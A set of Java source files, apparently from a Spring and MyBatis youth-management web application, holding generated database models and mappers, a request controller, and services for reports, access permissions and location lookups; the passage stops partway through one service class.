QltnMNoteReport.java ```package vn.youthmanager.ict.common.db.model; import java.util.Date; public class QltnMNoteReport extends QltnMNoteReportKey { /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_note_report.CRITERA_ID * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ private String criteraId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_note_report.CREATE_USER_ID * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ private String createUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_note_report.CREATE_DATE * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ private Date createDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_note_report.UPDATE_USER_ID * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ private String updateUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_note_report.LAST_UPDATE_DATE * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ private Date lastUpdateDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_note_report.DELETE_FLAG * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ private String deleteFlag; /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_note_report.CRITERA_ID * * @return the value of qltn_m_note_report.CRITERA_ID * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public String getCriteraId() { return criteraId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_note_report.CRITERA_ID * * @param criteraId the value for qltn_m_note_report.CRITERA_ID * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public void setCriteraId(String criteraId) { this.criteraId = criteraId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_note_report.CREATE_USER_ID * * @return the value of qltn_m_note_report.CREATE_USER_ID * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public String getCreateUserId() { return createUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_note_report.CREATE_USER_ID * * @param createUserId the value for qltn_m_note_report.CREATE_USER_ID * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public void setCreateUserId(String createUserId) { this.createUserId = createUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_note_report.CREATE_DATE * * @return the value of qltn_m_note_report.CREATE_DATE * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public Date getCreateDate() { return createDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_note_report.CREATE_DATE * * @param createDate the value for qltn_m_note_report.CREATE_DATE * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public void setCreateDate(Date createDate) { this.createDate = createDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_note_report.UPDATE_USER_ID * * @return the value of qltn_m_note_report.UPDATE_USER_ID * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public String getUpdateUserId() { return updateUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_note_report.UPDATE_USER_ID * * @param updateUserId the value for qltn_m_note_report.UPDATE_USER_ID * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public void setUpdateUserId(String updateUserId) { this.updateUserId = updateUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_note_report.LAST_UPDATE_DATE * * @return the value of qltn_m_note_report.LAST_UPDATE_DATE * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public Date getLastUpdateDate() { return lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_note_report.LAST_UPDATE_DATE * * @param lastUpdateDate the value for qltn_m_note_report.LAST_UPDATE_DATE * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public void setLastUpdateDate(Date lastUpdateDate) { this.lastUpdateDate = lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_note_report.DELETE_FLAG * * @return the value of qltn_m_note_report.DELETE_FLAG * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public String getDeleteFlag() { return deleteFlag; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_note_report.DELETE_FLAG * * @param deleteFlag the value for qltn_m_note_report.DELETE_FLAG * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public void setDeleteFlag(String deleteFlag) { this.deleteFlag = deleteFlag; } }``` Sym0041Controller.java ```package vn.youthmanager.ict.youth.controller; import java.util.List; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.MediaType; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.ModelAttribute; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.servlet.mvc.support.RedirectAttributes; import vn.youthmanager.ict.common.db.model.QltnMCity; import vn.youthmanager.ict.common.db.model.QltnMDistrict; import vn.youthmanager.ict.common.db.model.QltnMGroups; import vn.youthmanager.ict.common.db.model.QltnMSpecialized; import vn.youthmanager.ict.common.db.model.QltnMTown; import vn.youthmanager.ict.common.db.model.QltnMWards; import vn.youthmanager.ict.youth.db.model.Sym0040Contions; import vn.youthmanager.ict.youth.db.model.Sym0041Result; import vn.youthmanager.ict.youth.service.Sym0041Service; @Controller @RequestMapping(value = "/0041") public class Sym0041Controller { @Autowired private Sym0041Service sym0041Service; @RequestMapping(value = "/", method = RequestMethod.GET) public String top(Model model, @ModelAttribute("Sym040PersonData") Sym0040Contions sym0040Contions) { sym0041Service.initData(sym0040Contions, model); return "youth/0041"; } @RequestMapping(value = "/searchData", method = RequestMethod.POST, consumes = MediaType.APPLICATION_JSON_VALUE) public @ResponseBody List<Sym0041Result> searchData(@RequestBody Sym0040Contions searchConditions) { return sym0041Service.searchData(searchConditions); } /** * Get data for City combobox by Country id * * @param country : data received from client * @return City data */ @RequestMapping(value = "/getCityDataByCountryId", method = RequestMethod.POST) public @ResponseBody List<QltnMCity> getCityDataByCountryId(@RequestParam(value = "countryId") String countryId) { return sym0041Service.getCityNameByCountryId(countryId); } /** * Get data for District combobox by Country id and cityId * * @param countryId : data received from client * @param cityId : data received from client * @return District data */ @RequestMapping(value = "/getDistrictDataByCityId", method = RequestMethod.POST) public @ResponseBody List<QltnMDistrict> getDistrictDataByCityId(@RequestParam(value = "countryId") String countryId, @RequestParam(value = "cityId") String cityId) { return sym0041Service.getDistrictNameByCityId(countryId, cityId); } /** * Get data for Wards combobox by Country id and cityId and DistrictId * * @param countryId : data received from client * @param cityId : data received from client * @param districtId : data received from client * @return Wards data */ @RequestMapping(value = "/getWardsDataByDistrictId", method = RequestMethod.POST) public @ResponseBody List<QltnMWards> getWardsDataByDistrictId(@RequestParam(value = "countryId") String countryId, @RequestParam(value = "cityId") String cityId,@RequestParam(value = "districtId") String districtId) { return sym0041Service.getWardsNameByDistrictId(countryId, cityId, districtId); } /** * Get data for Town combobox by Country id and cityId and DistrictId and wadrsId * * @param countryId : data received from client * @param cityId : data received from client * @param districtId : data received from client * @param wadrsId : data received from client * @return Town data */ @RequestMapping(value = "/getTownDataByWardsId", method = RequestMethod.POST) public @ResponseBody List<QltnMTown> getTownDataByWardsId(@RequestParam(value = "countryId") String countryId, @RequestParam(value = "cityId") String cityId, @RequestParam(value = "districtId") String districtId, @RequestParam(value = "wardsId") String wardsId) { return sym0041Service.getTownNameByWardsId(countryId, cityId, districtId, wardsId); } /** * Get data for Town combobox by Country id and cityId and DistrictId and wadrsId * * @param countryId : data received from client * @param cityId : data received from client * @param districtId : data received from client * @param wadrsId : data received from client * @param townId : data received from client * @return Town data */ @RequestMapping(value = "/getGroupsDataByTownId", method = RequestMethod.POST) public @ResponseBody List<QltnMGroups> getGroupsDataByTownId(@RequestParam(value = "countryId") String countryId, @RequestParam(value = "cityId") String cityId, @RequestParam(value = "districtId") String districtId, @RequestParam(value = "wardsId") String wardsId, @RequestParam(value = "townId") String townId) { return sym0041Service.getGroupsDataByTownId(countryId, cityId, districtId, wardsId, townId); } /** * Get data for Specialized combobox by University id * * @param countryId : data received from client * @return Town data */ @RequestMapping(value = "/getSpecializedDataByUniversityId", method = RequestMethod.POST) public @ResponseBody List<QltnMSpecialized> getSpecializedDataByUniversityId(@RequestParam(value = "universityId") String universityId) { return sym0041Service.getSpecializedDataByUniversityId(universityId); } @RequestMapping(value = "/deleteData", method = RequestMethod.POST) public @ResponseBody String deleteData(@RequestParam(value = "personId") String personId) { return sym0041Service.deleteData(personId); } @RequestMapping(value = "/changePage", method = RequestMethod.POST) public String changePage(RedirectAttributes rattrs, @RequestParam(value = "personId") String personId) { rattrs.addFlashAttribute("Sym041PersonData", personId); return "redirect:../0043/"; } } ``` QltnMAuthorizationMapper.java ```package vn.youthmanager.ict.common.db.mapper; import java.util.List; import org.apache.ibatis.annotations.Param; import vn.youthmanager.ict.common.db.model.QltnMAuthorization; import vn.youthmanager.ict.common.db.model.QltnMAuthorizationExample; public interface QltnMAuthorizationMapper { /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int countByExample(QltnMAuthorizationExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int deleteByExample(QltnMAuthorizationExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int deleteByPrimaryKey(String authorizationTypeId); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int insert(QltnMAuthorization record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int insertSelective(QltnMAuthorization record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ List<QltnMAuthorization> selectByExample(QltnMAuthorizationExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ QltnMAuthorization selectByPrimaryKey(String authorizationTypeId); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByExampleSelective(@Param("record") QltnMAuthorization record, @Param("example") QltnMAuthorizationExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByExample(@Param("record") QltnMAuthorization record, @Param("example") QltnMAuthorizationExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByPrimaryKeySelective(QltnMAuthorization record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByPrimaryKey(QltnMAuthorization record); }``` 1371e3151d61f94c6319115502038a2b5e75dfb5.svn-base ```package vn.youthmanager.ict.common.db.mapper; import java.util.List; import org.apache.ibatis.annotations.Param; import vn.youthmanager.ict.common.db.model.QltnMNation; import vn.youthmanager.ict.common.db.model.QltnMNationExample; public interface QltnMNationMapper { /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_nation * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int countByExample(QltnMNationExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_nation * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int deleteByExample(QltnMNationExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_nation * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int deleteByPrimaryKey(String nationId); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_nation * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int insert(QltnMNation record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_nation * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int insertSelective(QltnMNation record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_nation * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ List<QltnMNation> selectByExample(QltnMNationExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_nation * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ QltnMNation selectByPrimaryKey(String nationId); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_nation * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByExampleSelective(@Param("record") QltnMNation record, @Param("example") QltnMNationExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_nation * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByExample(@Param("record") QltnMNation record, @Param("example") QltnMNationExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_nation * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByPrimaryKeySelective(QltnMNation record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_nation * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByPrimaryKey(QltnMNation record); }``` QltnMDetailReport.java ```package vn.youthmanager.ict.common.db.model; import java.util.Date; public class QltnMDetailReport { /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_detail_report.DETAIL_REPORT_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String detailReportId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_detail_report.REPORT_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String reportId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_detail_report.DETAIL_REPORT_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String detailReportName; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_detail_report.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String createUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_detail_report.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private Date createDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_detail_report.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String updateUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_detail_report.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private Date lastUpdateDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_detail_report.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String deleteFlag; /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_detail_report.DETAIL_REPORT_ID * * @return the value of qltn_m_detail_report.DETAIL_REPORT_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getDetailReportId() { return detailReportId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_detail_report.DETAIL_REPORT_ID * * @param detailReportId the value for qltn_m_detail_report.DETAIL_REPORT_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setDetailReportId(String detailReportId) { this.detailReportId = detailReportId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_detail_report.REPORT_ID * * @return the value of qltn_m_detail_report.REPORT_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getReportId() { return reportId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_detail_report.REPORT_ID * * @param reportId the value for qltn_m_detail_report.REPORT_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setReportId(String reportId) { this.reportId = reportId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_detail_report.DETAIL_REPORT_NAME * * @return the value of qltn_m_detail_report.DETAIL_REPORT_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getDetailReportName() { return detailReportName; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_detail_report.DETAIL_REPORT_NAME * * @param detailReportName the value for qltn_m_detail_report.DETAIL_REPORT_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setDetailReportName(String detailReportName) { this.detailReportName = detailReportName; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_detail_report.CREATE_USER_ID * * @return the value of qltn_m_detail_report.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getCreateUserId() { return createUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_detail_report.CREATE_USER_ID * * @param createUserId the value for qltn_m_detail_report.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCreateUserId(String createUserId) { this.createUserId = createUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_detail_report.CREATE_DATE * * @return the value of qltn_m_detail_report.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public Date getCreateDate() { return createDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_detail_report.CREATE_DATE * * @param createDate the value for qltn_m_detail_report.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCreateDate(Date createDate) { this.createDate = createDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_detail_report.UPDATE_USER_ID * * @return the value of qltn_m_detail_report.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getUpdateUserId() { return updateUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_detail_report.UPDATE_USER_ID * * @param updateUserId the value for qltn_m_detail_report.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setUpdateUserId(String updateUserId) { this.updateUserId = updateUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_detail_report.LAST_UPDATE_DATE * * @return the value of qltn_m_detail_report.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public Date getLastUpdateDate() { return lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_detail_report.LAST_UPDATE_DATE * * @param lastUpdateDate the value for qltn_m_detail_report.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setLastUpdateDate(Date lastUpdateDate) { this.lastUpdateDate = lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_detail_report.DELETE_FLAG * * @return the value of qltn_m_detail_report.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getDeleteFlag() { return deleteFlag; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_detail_report.DELETE_FLAG * * @param deleteFlag the value for qltn_m_detail_report.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setDeleteFlag(String deleteFlag) { this.deleteFlag = deleteFlag; } }``` Sym0051Service.java ```package vn.youthmanager.ict.youth.service; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.ui.Model; import vn.youthmanager.ict.common.cnst.Constants; import vn.youthmanager.ict.common.db.model.QltnMCritera; import vn.youthmanager.ict.common.db.model.QltnMCriteraExample; import vn.youthmanager.ict.common.db.model.QltnMDetailReport; import vn.youthmanager.ict.common.db.model.QltnMDetailReportExample; import vn.youthmanager.ict.common.db.model.QltnMNoteReport; import vn.youthmanager.ict.youth.dao.Sym0051Dao; import vn.youthmanager.ict.youth.db.model.Sym0051Result; /** * * @author nylf1992 * */ @Service public class Sym0051Service { @Autowired private Sym0051Dao sym0051Dao; // change report Id String to array public void initData(Model model, String reportIdStr) { String[] reportIdArr = reportIdStr.split("\\,"); // create Map HashMap<String, Object> params = new HashMap<String, Object>(); params.put("reportIdStr", reportIdArr); List<Sym0051Result> list0051 = sym0051Dao.getSym0051Mapper().getReportName(params); model.addAttribute("list0051", list0051); model.addAttribute("reportIdArr", reportIdArr); } public List<QltnMDetailReport> getDetailReport(String reportId) { List<QltnMDetailReport> detailReportData = new ArrayList<QltnMDetailReport>(); // get all data of report with delete flag = 0 try { QltnMDetailReportExample QltnMDetailReportExample = new QltnMDetailReportExample(); QltnMDetailReportExample.Criteria QltnMDetailReportCriteria = QltnMDetailReportExample.createCriteria(); QltnMDetailReportCriteria.andReportIdEqualTo(reportId); QltnMDetailReportCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); detailReportData = sym0051Dao.getQltnMDetailReportMapper().selectByExample(QltnMDetailReportExample); } catch (Exception ex) { ex.printStackTrace(); detailReportData = new ArrayList<QltnMDetailReport>(); } return detailReportData; } public List<QltnMCritera> getCriteria(String reportId, String detailReportId) { // khai bao 1 list. List<QltnMCritera> criteriaData = new ArrayList<QltnMCritera>(); // get all data of criteria with delete flag = 0 try { QltnMCriteraExample QltnMCriteraExample = new QltnMCriteraExample(); QltnMCriteraExample.Criteria QltnMCriteraCriteria = QltnMCriteraExample.createCriteria(); QltnMCriteraCriteria.andReportIdEqualTo(reportId); QltnMCriteraCriteria.andDetailReportIdEqualTo(detailReportId); QltnMCriteraCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); criteriaData = sym0051Dao.getQltnMCriteraMapper().selectByExample(QltnMCriteraExample); } catch (Exception ex) { ex.printStackTrace(); criteriaData = new ArrayList<QltnMCritera>(); } return criteriaData; } /** * checkCriteriaOfPerson. * * check Note Report of Person have or not? * * @param personId * @param reportId * @param detailReportId * @return */ public List<QltnMNoteReport> checkCriteriaOfPerson(String personId, String reportId, String detailReportId) { // khai bao 1 list. List<QltnMNoteReport> noteReportData = new ArrayList<QltnMNoteReport>(); HashMap<String, Object> params = new HashMap<String, Object>(); params.put("personId", personId); params.put("reportId",reportId); params.put("detailReportId", detailReportId); try { noteReportData = sym0051Dao.getSym0051Mapper().checkCriteriaOfPerson(params); } catch(Exception ex) { ex.printStackTrace(); noteReportData = new ArrayList<QltnMNoteReport>(); } return noteReportData; } } ``` 28d1001d0e448c4fd320a4555d0cf1edf0f5180f.svn-base ```package vn.youthmanager.ict.youth.db.mapper; import java.util.ArrayList; import java.util.Map; import vn.youthmanager.ict.common.db.model.QltnMAccessAuthorization; public interface Sym0033Mapper { ArrayList<QltnMAccessAuthorization> searchData (Map<String, Object> params); } ``` Sym0033Service.java ```package vn.youthmanager.ict.youth.service; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import org.apache.log4j.Logger; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.ApplicationContext; import org.springframework.stereotype.Service; import org.springframework.transaction.PlatformTransactionManager; import org.springframework.transaction.TransactionDefinition; import org.springframework.transaction.TransactionStatus; import org.springframework.transaction.support.DefaultTransactionDefinition; import com.fasterxml.jackson.databind.ObjectMapper; import vn.youthmanager.ict.common.cnst.Constants; import vn.youthmanager.ict.common.db.model.QltnMAccessAuthorization; import vn.youthmanager.ict.common.util.Util; import vn.youthmanager.ict.youth.dao.Sym0033Dao; @Service public class Sym0033Service { private static Logger logger = Logger.getLogger(Sym0033Service.class); @Autowired private Sym0033Dao sym0033Dao; // Variables definition // send arraylist data to client side ObjectMapper mapper = new ObjectMapper(); PlatformTransactionManager txManager; @Autowired private ApplicationContext appContext; public List<QltnMAccessAuthorization> initData(String screenStr) { // Trim() khoảng trắng hai đàu. screenStr = screenStr.trim(); String[] screenId = screenStr.split("\\,"); // Xóa Dấu phẩy cuối chuỗi ArrayList<QltnMAccessAuthorization> screen0033List = new ArrayList<QltnMAccessAuthorization>(); try { logger.info("Screen searching started"); // search starts HashMap<String, Object> params = new HashMap<String, Object>(); params.put("screenStr", screenId); screen0033List = sym0033Dao.getSym0033Mapper().searchData(params); if (screen0033List.size() > 0) { logger.info("User searching finished"); } else { logger.info("User searching finished"); logger.info(" ==> 0 item"); } } catch (OutOfMemoryError ex) { ex.printStackTrace(); QltnMAccessAuthorization tempObj = new QltnMAccessAuthorization(); tempObj = null; screen0033List.add(tempObj); } return screen0033List; } /** * Update task's information to DB * * @param areaData : data received from client * @return String : update successfully: 1/update failed: -1 */ public String updateData(QltnMAccessAuthorization qltnMAccessAuthorization) { // variable definition String returnValue = Constants.UPDATE_RESULT_SUCCESSFUL; // update starts try { // check logged in user id if (Util.getUserInfo().getID() == null) { logger.error("Error message: Could not get logged in user's id"); returnValue = Constants.INSERT_RESULT_FAILED; return returnValue; } // Check ScreenId if (!checkScreenIdFormat(qltnMAccessAuthorization)) { // id is in wrong format logger.error("Error message: Screen's id is in wrong format"); returnValue = Constants.VALIDATE_WRONG_FORMAT; return returnValue; } DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); try { QltnMAccessAuthorization accessAuthorization = new QltnMAccessAuthorization(); // Access Authority Id accessAuthorization.setAccessAuthorityId(qltnMAccessAuthorization.getAccessAuthorityId()); // Screen Id accessAuthorization.setScreenId(qltnMAccessAuthorization.getScreenId()); // Screen Display Enable Flag accessAuthorization.setScreenDisplayEnableFlag(qltnMAccessAuthorization.getScreenDisplayEnableFlag()); // Add Able Flag accessAuthorization.setAddableFlag(qltnMAccessAuthorization.getAddableFlag()); // Update able Flag accessAuthorization.setUpdatableFlag(qltnMAccessAuthorization.getUpdatableFlag()); // Delete Able Flag accessAuthorization.setDeletableFlag(qltnMAccessAuthorization.getDeletableFlag()); // Reference Able Flag accessAuthorization.setReferenceFlag(qltnMAccessAuthorization.getReferenceFlag()); // update user id accessAuthorization.setUpdateUserId(Util.getUserInfo().getID()); // delete flag accessAuthorization.setDeleteFlag(qltnMAccessAuthorization.getDeleteFlag()); int result = sym0033Dao.getQltnMAccessAuthorizationMapper().updateByPrimaryKeySelective(accessAuthorization); if (result > 0) { // update successfully // register to DB txManager.commit(status); } else { returnValue = Constants.UPDATE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.UPDATE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.UPDATE_RESULT_FAILED; } return returnValue; } /** * Check input: screen id format (0 + xxx) * * @param AccessAuthorizationData : data received from client * @return boolean : correct format: true/wrong format: false */ private boolean checkScreenIdFormat(QltnMAccessAuthorization AccessAuthorizationData) { String screenId = AccessAuthorizationData.getScreenId(); if (!screenId.matches("0\\d{3}")) { return false; } else { return true; } } } ``` Sym0015Service.java ```package vn.youthmanager.ict.youth.service; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import org.apache.log4j.Logger; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.ApplicationContext; import org.springframework.dao.DuplicateKeyException; import org.springframework.stereotype.Service; import org.springframework.transaction.PlatformTransactionManager; import org.springframework.transaction.TransactionDefinition; import org.springframework.transaction.TransactionStatus; import org.springframework.transaction.support.DefaultTransactionDefinition; import org.springframework.ui.Model; import com.fasterxml.jackson.databind.ObjectMapper; import vn.youthmanager.ict.common.cnst.Constants; import vn.youthmanager.ict.common.cnst.LoggerMessage; import vn.youthmanager.ict.common.db.model.QltnMCity; import vn.youthmanager.ict.common.db.model.QltnMCityExample; import vn.youthmanager.ict.common.db.model.QltnMCountry; import vn.youthmanager.ict.common.db.model.QltnMCountryExample; import vn.youthmanager.ict.common.db.model.QltnMDistrict; import vn.youthmanager.ict.common.db.model.QltnMDistrictExample; import vn.youthmanager.ict.common.db.model.QltnMTown; import vn.youthmanager.ict.common.db.model.QltnMWards; import vn.youthmanager.ict.common.db.model.QltnMWardsExample; import vn.youthmanager.ict.common.util.Util; import vn.youthmanager.ict.youth.dao.Sym0015Dao; import vn.youthmanager.ict.youth.db.model.Sym0015Conditions; import vn.youthmanager.ict.youth.db.model.Sym0015Result; @Service public class Sym0015Service { private static Logger logger = Logger.getLogger(Sym0003Service.class); @Autowired private Sym0015Dao Sym0015Dao; ObjectMapper mapper = new ObjectMapper(); // Variables definition PlatformTransactionManager txManager; @Autowired private ApplicationContext appContext; /** * initData Create Select box Report * @param model */ public void initData(Model model, String countryId , String cityId,String districtId, String wardsId) { // Combobox Country Data List<QltnMCountry> countryData = new ArrayList<QltnMCountry>(); try { QltnMCountryExample qltnMCountryExample = new QltnMCountryExample(); QltnMCountryExample.Criteria countryCriteria = qltnMCountryExample.createCriteria(); countryCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); countryData = Sym0015Dao.getQltnMCountryMapper().selectByExample(qltnMCountryExample); model.addAttribute("countryData", mapper.writeValueAsString(countryData)); } catch (Exception ex) { ex.printStackTrace(); countryData = new ArrayList<QltnMCountry>(); } try { model.addAttribute("countryData", mapper.writeValueAsString(countryData)); } catch (Exception ex) { model.addAttribute("countryData", ""); 